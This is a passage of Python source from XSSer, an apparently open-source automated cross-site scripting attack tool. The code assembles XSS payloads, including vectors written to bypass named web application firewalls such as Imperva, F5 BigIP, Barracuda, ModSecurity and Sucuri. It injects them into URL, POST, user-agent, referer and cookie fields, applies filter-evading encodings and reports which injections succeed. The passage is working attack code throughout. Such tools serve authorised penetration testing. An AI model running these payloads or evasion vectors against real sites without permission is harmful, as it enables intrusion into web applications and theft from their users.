  585. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
  586. self.report("="*75 + "\n")
  587. if not self.options.xsser_gtk:
  588. sys.exit(2)
  589. else:
  590. pass
  591. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  592. """
  593. Attack the given url within the given payload
  594. """
  595. options = self.options
  596. self._ongoing_attacks = {}
  597. if (self.options.xsa or self.options.xsr or self.options.coo):
  598. agent, referer, cookie = self._prepare_extra_attacks(payload)
  599. else:
  600. agents = [] # user-agents
  601. try:
  602. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  603. except:
  604. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  605. for line in f:
  606. agents.append(line)
  607. agent = random.choice(agents).strip() # set random user-agent
  608. referer = "127.0.0.1"
  609. cookie = None
  610. if options.agent:
  611. agent = options.agent
  612. else:
  613. self.options.agent = agent
  614. if options.referer:
  615. referer = options.referer
  616. else:
  617. self.options.referer = referer
  618. if options.cookie: # set formatted by user cookies
  619. cookie = options.cookie
  620. else:
  621. self.options.cookie = cookie
  622. # get payload/vector
  623. payload_string = payload['payload'].strip()
  624. ### Anti-antiXSS exploits
  625. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  626. if options.phpids065:
  627. payload_string = 32*payload_string + payload_string
  628. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  629. if options.phpids070:
  630. payload_string = '<svg+onload=+"'+payload_string+'">'
  631. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  632. if options.imperva:
  633. payload_string = '<img src=x onerror="'+payload_string+'">'
  634. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  635. if options.webknight:
  636. payload_string = '<details ontoggle='+payload_string+'>'
  637. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  638. if options.f5bigip:
  639. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  640. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  641. if options.barracuda:
  642. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  643. # Apache / modsec [ALL] payload: special 18/02/2016
  644. if options.modsec:
  645. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  646. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  647. if options.quickdefense:
  648. payload_string = '<details ontoggle="'+payload_string+'">'
  649. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  650. if options.sucuri:
  651. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  652. # Firefox 12 (and below) # 09/2019
  653. if options.firefox:
  654. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  655. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  656. if options.chrome:
  657. payload_string = "<script>/*///*/"+payload_string+"</script>"
  658. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  659. if options.iexplorer:
  660. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  661. # Opera 10.6 (but also IE6) # 09/2019
  662. if options.opera:
  663. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  664. # Substitute the attacking hash
  665. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  666. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  667. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  668. hashed_payload = payload_string
  669. # Imperva
  670. if options.imperva:
  671. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  672. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  673. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  674. hashed_payload = str(hashed_payload) # + Unicode
  675. # Quick Defense
  676. if options.quickdefense:
  677. hashed_payload = str(hashed_payload) # + Unicode
  678. # apply user final attack url payload
  679. if user_attack_payload:
  680. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  681. else:
  682. hashed_vector_url = self.encoding_permutations(hashed_payload)
  683. # replace special payload string also for extra attacks
  684. if self.extra_hashed_injections:
  685. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  686. for k, v in self.extra_hashed_injections.items():
  687. if v[1] in hashed_payload:
  688. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  689. self.extra_hashed_injections = self.extra_hashed_vector_url
  690. if not options.getdata: # using GET as a single input (-u)
  691. target_url = url
  692. else:
  693. if not url.endswith("/") and not options.getdata.startswith("/"):
  694. url = url + "/"
  695. target_url = url + options.getdata
  696. if not options.dom:
  697. p_uri = urlparse(target_url, allow_fragments=False) # not fragments keyword '#' allowed
  698. else:
  699. p_uri = urlparse(target_url, allow_fragments=True)
  700. uri = p_uri.netloc
  701. path = p_uri.path
  702. if not uri.endswith('/') and not path.startswith('/'):
  703. uri = uri + "/"
  704. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  705. if not "XSS" in target_url:
  706. if not target_url.endswith("/"):
  707. target_url = target_url + "/XSS"
  708. else:
  709. target_url = target_url + "XSS"
  710. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  711. if self.options.script:
  712. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  713. self.not_keyword_exit()
  714. if not target_params and not options.postdata:
  715. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  716. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  717. self.not_keyword_exit()
  718. else: # keyword found at target url (ex: https://target.com/XSS)
  719. if 'XSS' in target_url:
  720. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  721. elif 'X1S' in target_url:
  722. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  723. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  724. if "[B64]" in hashed_payload: # [DCP Injection]
  725. dcp_payload = hashed_payload.split("[B64]")[1]
  726. dcp_preload = hashed_payload.split("[B64]")[0]
  727. dcp_payload = b64encode(dcp_payload)
  728. hashed_payload = dcp_preload + dcp_payload
  729. self.hashed_injections[url_orig_hash] = target_url
  730. if user_attack_payload:
  731. pass
  732. else:
  733. hashed_vector_url = self.encoding_permutations(hashed_payload)
  734. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  735. target_url_params = urllib.parse.urlencode(target_params)
  736. if not uri.endswith('/') and not path.startswith('/'):
  737. uri = uri + "/"
  738. if path.endswith('/'):
  739. path = path.replace('/',"")
  740. if not options.getdata:
  741. dest_url = url
  742. else:
  743. dest_url = url + options.getdata
  744. if not "XSS" in dest_url:
  745. dest_url = dest_url + hashed_vector_url
  746. else:
  747. if 'XSS' in dest_url:
  748. dest_url = dest_url.replace('XSS', hashed_vector_url)
  749. if 'X1S' in dest_url:
  750. dest_url = dest_url.replace('X1S', hashed_vector_url)
  751. else:
  752. if 'XSS' in target_url:
  753. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  754. elif 'X1S' in target_url:
  755. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  756. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  757. if "[B64]" in hashed_payload: # [DCP Injection]
  758. dcp_payload = hashed_payload.split("[B64]")[1]
  759. dcp_preload = hashed_payload.split("[B64]")[0]
  760. dcp_payload = b64encode(dcp_payload)
  761. hashed_payload = dcp_preload + dcp_payload
  762. self.hashed_injections[url_orig_hash] = target_url
  763. if user_attack_payload:
  764. pass
  765. else:
  766. hashed_vector_url = self.encoding_permutations(hashed_payload)
  767. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  768. target_url_params = urllib.parse.urlencode(target_params)
  769. if not uri.endswith('/') and not path.startswith('/'):
  770. uri = uri + "/"
  771. dest_url = p_uri.scheme + "://" + uri + path
  772. if 'XSS' in dest_url:
  773. dest_url = dest_url.replace('XSS', hashed_vector_url)
  774. if 'X1S' in dest_url:
  775. dest_url = dest_url.replace('X1S', hashed_vector_url)
  776. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  777. else:
  778. if not options.postdata:
  779. r = 0
  780. for key, value in target_params.items(): # parse params searching for keywords
  781. for v in value:
  782. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  783. if v == 'XSS':
  784. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  785. elif v == 'X1S':
  786. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  787. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  788. if "[B64]" in hashed_payload: # [DCP Injection]
  789. dcp_payload = hashed_payload.split("[B64]")[1]
  790. dcp_preload = hashed_payload.split("[B64]")[0]
  791. dcp_payload = b64encode(dcp_payload)
  792. hashed_payload = dcp_preload + dcp_payload
  793. self.hashed_injections[url_orig_hash] = key
  794. if user_attack_payload:
  795. pass
  796. else:
  797. hashed_vector_url = self.encoding_permutations(hashed_payload)
  798. target_params[key] = hashed_vector_url
  799. r = r + 1
  800. else:
  801. if self.options.xsa or self.options.xsr or self.options.coo:
  802. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  803. self.hashed_injections[url_orig_hash] = key
  804. target_params[key] = v
  805. r = r + 1
  806. else:
  807. target_params[key] = v
  808. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  809. self.not_keyword_exit()
  810. payload_url = query_string.strip() + hashed_vector_url
  811. target_url_params = urllib.parse.urlencode(target_params)
  812. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  813. else: # using POST provided by parameter (-p)
  814. target_params = parse_qs(query_string, keep_blank_values=True)
  815. r = 0
  816. for key, value in target_params.items(): # parse params searching for keywords
  817. for v in value:
  818. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  819. if v == 'XSS':
  820. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  821. elif v == 'X1S':
  822. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  823. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  824. if "[B64]" in hashed_payload: # [DCP Injection]
  825. dcp_payload = hashed_payload.split("[B64]")[1]
  826. dcp_preload = hashed_payload.split("[B64]")[0]
  827. dcp_payload = b64encode(dcp_payload)
  828. hashed_payload = dcp_preload + dcp_payload
  829. self.hashed_injections[url_orig_hash] = key
  830. if user_attack_payload:
  831. pass
  832. else:
  833. hashed_vector_url = self.encoding_permutations(hashed_payload)
  834. target_params[key] = hashed_vector_url
  835. r = r + 1
  836. else:
  837. if self.options.xsa or self.options.xsr or self.options.coo:
  838. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  839. self.hashed_injections[url_orig_hash] = key
  840. target_params[key] = v
  841. r = r + 1
  842. else:
  843. target_params[key] = v
  844. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  845. self.not_keyword_exit()
  846. target_url_params = urllib.parse.urlencode(target_params)
  847. dest_url = target_url_params
  848. self._ongoing_attacks['url'] = url_orig_hash
  849. if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
  850. dest_url = urllib.parse.unquote(dest_url)
  851. return dest_url, agent, referer, cookie
  852. def attack_url_payload(self, url, payload, query_string):
  853. if not self.pool:
  854. pool = self.mothership.pool
  855. else:
  856. pool = self.pool
  857. c = Curl()
  858. if self.options.headers: # add extra headers
  859. headers = self.options.headers
  860. else:
  861. headers = None
  862. if self.options.getdata or not self.options.postdata:
  863. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  864. def _cb(request, result):
  865. self.finish_attack_url_payload(c, request, result, payload,
  866. query_string, url, dest_url)
  867. _error_cb = self.error_attack_url_payload
  868. def _error_cb(request, error):
  869. self.error_attack_url_payload(c, url, request, error)
  870. c.agent = agent
  871. c.referer = referer
  872. c.cookie = cookie
  873. if " " in dest_url: # parse blank spaces
  874. dest_url = dest_url.replace(" ", "+")
  875. pool.addRequest(c.get, [[dest_url, headers]], _cb, _error_cb)
  876. self._ongoing_requests += 1
  877. if self.options.postdata:
  878. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  879. def _cb(request, result):
  880. self.finish_attack_url_payload(c, request, result, payload,
  881. query_string, url, dest_url)
  882. _error_cb = self.error_attack_url_payload
  883. def _error_cb(request, error):
  884. self.error_attack_url_payload(c, url, request, error)
  885. dest_url = dest_url.strip().replace("/", "", 1)
  886. c.agent = agent
  887. c.referer = referer
  888. c.cookie = cookie
  889. pool.addRequest(c.post, [[url, dest_url, headers]], _cb, _error_cb)
  890. self._ongoing_requests += 1
  891. def error_attack_url_payload(self, c, url, request, error):
  892. self._ongoing_requests -= 1
  893. for reporter in self._reporters:
  894. reporter.mosquito_crashed(url, str(error[0]))
  895. dest_url = request.args[0]
  896. self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
  897. self.urlmalformed = True
  898. if self.urlmalformed == True and self.urlspoll[0] == url:
  899. self.land()
  900. if DEBUG == True:
  901. self.report(str(error[0]))
  902. traceback.print_tb(error[2])
  903. c.close()
  904. del c
  905. return
  906. def finish_attack_url_payload(self, c, request, result, payload,
  907. query_string, url, dest_url):
  908. self.round_complete = self.round_complete + 1
  909. self.report("="*75)
  910. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  911. self.report("="*75)
  912. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  913. self._ongoing_requests -= 1
  914. # adding constant head check number flag
  915. if self.options.isalive:
  916. self.flag_isalive_num = int(self.options.isalive)
  917. if not self.options.isalive:
  918. pass
  919. elif self.options.isalive and not self.options.nohead:
  920. self.errors_isalive = self.errors_isalive + 1
  921. if self.errors_isalive > self.options.isalive:
  922. pass
  923. else:
  924. self.report("---------------------")
  925. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  926. if self.next_isalive == True:
  927. hc = Curl()
  928. self.next_isalive = False
  929. try:
  930. urls = hc.do_head_check([url])
  931. except:
  932. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  933. self.errors_isalive = 0
  934. return
  935. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  936. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  937. print("- Your target still Alive: " + "(" + url + ")")
  938. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  939. print(" - your injections are failing: normal :-)")
  940. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  941. else:
  942. if str(hc.info()["http-code"]) == "0":
  943. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  944. else:
  945. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  946. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  947. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  948. self.errors_isalive = 0
  949. else:
  950. if str(self.errors_isalive) >= str(self.options.isalive):
  951. self.report("---------------------")
  952. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  953. self.next_isalive = True
  954. self.options.isalive = self.flag_isalive_num
  955. else:
  956. if self.options.isalive and self.options.nohead:
  957. self.report("---------------------")
  958. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  959. self.report("---------------------")
  960. # check results an alternative url, choosing method and parameters, or not
  961. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  962. self.options.altm = "GET"
  963. if self.options.altm == "post":
  964. self.options.altm = "POST"
  965. if self.options.alt == None:
  966. pass
  967. else:
  968. self.report("="*45)
  969. self.report("\n[+] Checking Response Options:", "\n")
  970. self.report("[+] Url:", self.options.alt)
  971. self.report("[-] Method:", self.options.altm)
  972. if self.options.ald:
  973. self.report("[-] Parameter(s):", self.options.ald, "\n")
  974. else:
  975. self.report("[-] Parameter(s):", query_string, "\n")
  976. if c.info()["http-code"] in ["200", "302", "301"]:
  977. if self.options.statistics:
  978. self.success_connection = self.success_connection + 1
  979. self._report_attack_success(c, dest_url, payload,
  980. query_string, url)
  981. else:
  982. self._report_attack_failure(c, dest_url, payload,
  983. query_string, url)
  984. # checking response results
  985. if self.options.alt == None:
  986. pass
  987. else:
  988. self.report("="*45)
  989. self.report("\n[+] Checking Response Results:", "\n")
  990. url_orig_hash = self._ongoing_attacks['url']
  991. self.report("Searching using", self.options.altm, "for:", url_orig_hash, "on alternative url\n")
  992. if 'PAYLOAD' in payload['payload']:
  993. user_attack_payload = payload['payload'].replace('PAYLOAD', url_orig_hash)
  994. if 'XSS' in payload['payload']:
  995. user_attack_payload = payload['payload'].replace('XSS', url_orig_hash)
  996. if 'X1S' in payload['payload']:
  997. user_attack_payload = payload['payload'].replace('X1S', url_orig_hash)
  998. if self.options.ald:
  999. query_string = self.options.ald
  1000. if "VECTOR" in self.options.alt:
  1001. dest_url = self.options.alt
  1002. else:
  1003. if not dest_url.endswith("/"):
  1004. dest_url = dest_url + "/"
  1005. if self.options.altm == 'POST':
  1006. dest_url = "" + query_string + user_attack_payload
  1007. dest_url = dest_url.strip().replace("/", "", 1)
  1008. data = c.post(url, dest_url, None)
  1009. else:
  1010. dest_url = self.options.alt + query_string + user_attack_payload
  1011. c.get(dest_url)
  1012. # perform check response injection
  1013. if c.info()["http-code"] in ["200", "302", "301"]:
  1014. if self.options.statistics:
  1015. self.success_connection = self.success_connection + 1
  1016. self._report_attack_success(c, dest_url, payload,
  1017. query_string, url)
  1018. else:
  1019. self._report_attack_failure(c, dest_url, payload,
  1020. query_string, url)
  1021. c.close()
  1022. del c
  1023. def encoding_permutations(self, enpayload_url):
  1024. """
  1025. perform encoding permutations on the url and query_string.
  1026. """
  1027. options = self.options
  1028. if options.Cem:
  1029. enc_perm = options.Cem.split(",")
  1030. for _enc in enc_perm:
  1031. enpayload_url = self.encmap[_enc](enpayload_url)
  1032. else:
  1033. for enctype in list(self.encmap.keys()):
  1034. if getattr(options, enctype):
  1035. enpayload_url = self.encmap[enctype](enpayload_url)
  1036. return enpayload_url
  1037. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1038. query_string, orig_url):
  1039. """
  1040. report connection success when attacking
  1041. """
  1042. if not orig_url in self.successful_urls:
  1043. self.successful_urls.append(orig_url)
  1044. options = self.options
  1045. current_hashes = [] # to check for ongoing hashes
  1046. if payload['browser'] == "[Heuristic test]":
  1047. for key, value in self.hashed_injections.items():
  1048. if str(key) in dest_url:
  1049. if key not in current_hashes:
  1050. self.final_hashes[key] = value
  1051. current_hashes.append(key)
  1052. elif self.options.hash:
  1053. for key, value in self.hashed_injections.items():
  1054. self.final_hashes[key] = value
  1055. current_hashes.append(key)
  1056. else:
  1057. self.report("-"*45)
  1058. self.report("\n[!] Hashing: \n")
  1059. for key, value in self.hashed_injections.items():
  1060. if str(key) in str(dest_url):
  1061. if key not in current_hashes:
  1062. self.report(" [ " +key+" ] : [" , value + " ]")
  1063. self.final_hashes[key] = value
  1064. current_hashes.append(key)
  1065. else:
  1066. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1067. b64_string = payload["payload"].split("[B64]")
  1068. b64_string = b64_string[1]
  1069. b64_string = b64_string.replace('PAYLOAD', key)
  1070. b64_string = b64encode(b64_string)
  1071. b64_string = urllib.parse.urlencode({'':b64_string})
  1072. if b64_string.startswith("="):
  1073. b64_string = b64_string.replace("=", "")
  1074. if str(b64_string) in str(dest_url):
  1075. if key not in current_hashes:
  1076. self.report(" [ " +key+" ] : [" , value + " ]")
  1077. self.final_hashes[key] = value
  1078. current_hashes.append(key)
  1079. else: # when using encoders (Str, Hex, Dec...)
  1080. if self.options.Str or self.options.Une or self.options.Mix or self.options.Dec or self.options.Hex or self.options.Hes or self.options.Cem:
  1081. if "PAYLOAD" in payload["payload"]:
  1082. payload_string = payload["payload"].replace("PAYLOAD", key)
  1083. elif "VECTOR" in payload["payload"]:
  1084. payload_string = payload["payload"].replace("VECTOR", key)
  1085. elif "XSS" in payload["payload"]:
  1086. payload_string = payload["payload"].replace("XSS", key)
  1087. elif "X1S" in payload["payload"]:
  1088. payload_string = payload["payload"].replace("X1S", key)
  1089. if self.options.Cem:
  1090. enc_perm = options.Cem.split(",")
  1091. for e in enc_perm:
  1092. hashed_payload = self.encoding_permutations(payload_string)
  1093. if e == "Str":
  1094. hashed_payload = hashed_payload.replace(",", "%2C")
  1095. dest_url = dest_url.replace(",", "%2C")
  1096. if e == "Mix":
  1097. hashed_payload=urllib.parse.quote(hashed_payload)
  1098. dest_url = urllib.parse.quote(dest_url)
  1099. if e == "Dec":
  1100. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1101. dest_url = dest_url.replace("&#", "%26%23")
  1102. if e == "Hex":
  1103. hashed_payload = hashed_payload.replace("%", "%25")
  1104. dest_url = dest_url.replace("%", "%25")
  1105. if e == "Hes":
  1106. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1107. hashed_payload = hashed_payload.replace(";", "%3B")
  1108. dest_url = dest_url.replace("&#", "%26%23")
  1109. dest_url = dest_url.replace(";", "%3B")
  1110. else:
  1111. hashed_payload = self.encoding_permutations(payload_string)
  1112. if self.options.Str:
  1113. hashed_payload = hashed_payload.replace(",", "%2C")
  1114. dest_url = dest_url.replace(",", "%2C")
  1115. if self.options.Mix:
  1116. hashed_payload=urllib.parse.quote(hashed_payload)
  1117. dest_url = urllib.parse.quote(dest_url)
  1118. if self.options.Dec:
  1119. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1120. dest_url = dest_url.replace("&#", "%26%23")
  1121. if self.options.Hex:
  1122. hashed_payload = hashed_payload.replace("%", "%25")
  1123. dest_url = dest_url.replace("%", "%25")
  1124. if self.options.Hes:
  1125. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1126. hashed_payload = hashed_payload.replace(";", "%3B")
  1127. dest_url = dest_url.replace("&#", "%26%23")
  1128. dest_url = dest_url.replace(";", "%3B")
  1129. if str(hashed_payload) in str(dest_url):
  1130. if key not in current_hashes:
  1131. self.report(" [ " +key+" ] : [" , value + " ]")
  1132. self.final_hashes[key] = value
  1133. current_hashes.append(key)
  1134. if self.extra_hashed_injections:
  1135. for k, v in self.extra_hashed_injections.items():
  1136. payload_url = str(v[1])
  1137. if payload_url == payload["payload"]:
  1138. if k not in current_hashes:
  1139. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1140. self.final_hashes[k] = v[0]
  1141. current_hashes.append(k)
  1142. self.report("\n"+"-"*45+"\n")
  1143. if payload['browser'] == "[Heuristic test]":
  1144. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1145. else:
  1146. if self.extra_hashed_injections:
  1147. extra_attacks=[]
  1148. if options.xsa:
  1149. extra_attacks.append("XSA")
  1150. if options.xsr:
  1151. extra_attacks.append("XSR")
  1152. if options.coo:
  1153. extra_attacks.append("COO")
  1154. if extra_attacks:
  1155. extra_attacks = "+ "+ str(extra_attacks)
  1156. if options.postdata:
  1157. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1158. else:
  1159. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1160. else:
  1161. if options.postdata:
  1162. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1163. else:
  1164. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1165. if not self.options.hash and not self.options.script:
  1166. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1167. pass
  1168. else:
  1169. self.report("-"*45)
  1170. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1171. pass
  1172. else:
  1173. if not "XSS" in dest_url or not "X1S" in dest_url:
  1174. if self.options.xsa or self.options.xsr or self.options.coo:
  1175. pass
  1176. else:
  1177. self.report("-"*45)
  1178. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1179. if not self.options.verbose:
  1180. self.report("-"*45 + "\n")
  1181. else:
  1182. self.report("-"*45)
  1183. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1184. if not self.options.verbose:
  1185. self.report("-"*45 + "\n")
  1186. # statistics injections counters
  1187. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1188. self.check_positives = self.check_positives + 1
  1189. elif payload['browser']=="[Data Control Protocol Injection]":
  1190. self.dcp_injection = self.dcp_injection + 1
  1191. elif payload['browser']=="[Document Object Model Injection]":
  1192. self.dom_injection = self.dom_injection + 1
  1193. elif payload['browser']=="[Induced Injection]":
  1194. self.httpsr_injection = self.httpsr_injection + 1
  1195. elif payload['browser']=="[manual_injection]":
  1196. self.manual_injection = self.manual_injection + 1
  1197. else:
  1198. self.auto_injection = self.auto_injection +1
  1199. if not self.hashed_injections:
  1200. for k, v in self.extra_hashed_injections.items():
  1201. if k in current_hashes:
  1202. if v[0] == "XSA":
  1203. agent = v[1]
  1204. agent = agent.replace("PAYLOAD", k)
  1205. Curl.agent = agent
  1206. if v[0] == "XSR":
  1207. referer = v[1]
  1208. referer = referer.replace("PAYLOAD", k)
  1209. Curl.referer = referer
  1210. if v[0] == "COO":
  1211. cookie = v[1]
  1212. cookie = cookie.replace("PAYLOAD", k)
  1213. Curl.cookie = cookie
  1214. else:
  1215. for key, value in self.hashed_injections.items():
  1216. for k, v in self.extra_hashed_injections.items():
  1217. payload_url = v[1]
  1218. payload_url = payload_url.replace("PAYLOAD",key)
  1219. payload_url = payload_url.replace(" ", "+") # black magic!
  1220. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1221. if payload_url in final_dest_url:
  1222. if v[0] == "XSA":
  1223. agent = v[1]
  1224. agent = agent.replace("PAYLOAD", k)
  1225. Curl.agent = agent
  1226. if v[0] == "XSR":
  1227. referer = v[1]
  1228. referer = referer.replace("PAYLOAD", k)
  1229. Curl.referer = referer
  1230. if v[0] == "COO":
  1231. cookie = v[1]
  1232. cookie = cookie.replace("PAYLOAD", k)
  1233. Curl.cookie = cookie
  1234. else:
  1235. if k in current_hashes:
  1236. if v[0] == "XSA":
  1237. agent = v[1]
  1238. agent = agent.replace("PAYLOAD", k)
  1239. Curl.agent = agent
  1240. if v[0] == "XSR":
  1241. referer = v[1]
  1242. referer = referer.replace("PAYLOAD", k)
  1243. Curl.referer = referer
  1244. if v[0] == "COO":
  1245. cookie = v[1]
  1246. cookie = cookie.replace("PAYLOAD", k)
  1247. Curl.cookie = cookie
  1248. if options.verbose:
  1249. self.report("-"*45)
  1250. self.report("\n[+] HTTP Headers Verbose:\n")
  1251. self.report(" [Client Request]")
  1252. Curl.print_options()
  1253. self.report(" [Server Reply]\n")
  1254. self.report(curl_handle.info())
  1255. self.report("="*45)
  1256. self.report("[*] Injection(s) Results:")
  1257. self.report("="*45 + "\n")
  1258. if payload['browser']=="[Heuristic test]":
  1259. for key, value in self.final_hashes.items():
  1260. if str(key) in dest_url:
  1261. heuristic_string = key
  1262. heuristic_param = str(payload['payload']).strip('XSS')
  1263. # checking heuristic responses
  1264. if heuristic_string in curl_handle.body():
  1265. # ascii
  1266. if heuristic_param == "\\":
  1267. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1268. # / same as ASCII and Unicode
  1269. elif heuristic_param == "/":
  1270. self.heuris_slash_found = self.heuris_slash_found + 1
  1271. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1272. elif heuristic_param == ">":
  1273. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1274. elif heuristic_param == "<":
  1275. self.heuris_minor_found = self.heuris_minor_found + 1
  1276. elif heuristic_param == ";":
  1277. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1278. elif heuristic_param == "'":
  1279. self.heuris_colon_found = self.heuris_colon_found + 1
  1280. elif heuristic_param == '"':
  1281. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1282. elif heuristic_param == "=":
  1283. self.heuris_equal_found = self.heuris_equal_found + 1
  1284. # une
  1285. elif heuristic_param == "%5C":
  1286. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1287. elif heuristic_param == "%3E":
  1288. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1289. elif heuristic_param == "%3C":
  1290. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1291. elif heuristic_param == "%3B":
  1292. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1293. elif heuristic_param == "%27":
  1294. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1295. elif heuristic_param == "%22":
  1296. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1297. elif heuristic_param == "%3D":
  1298. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1299. # dec
  1300. elif heuristic_param == "&#92":
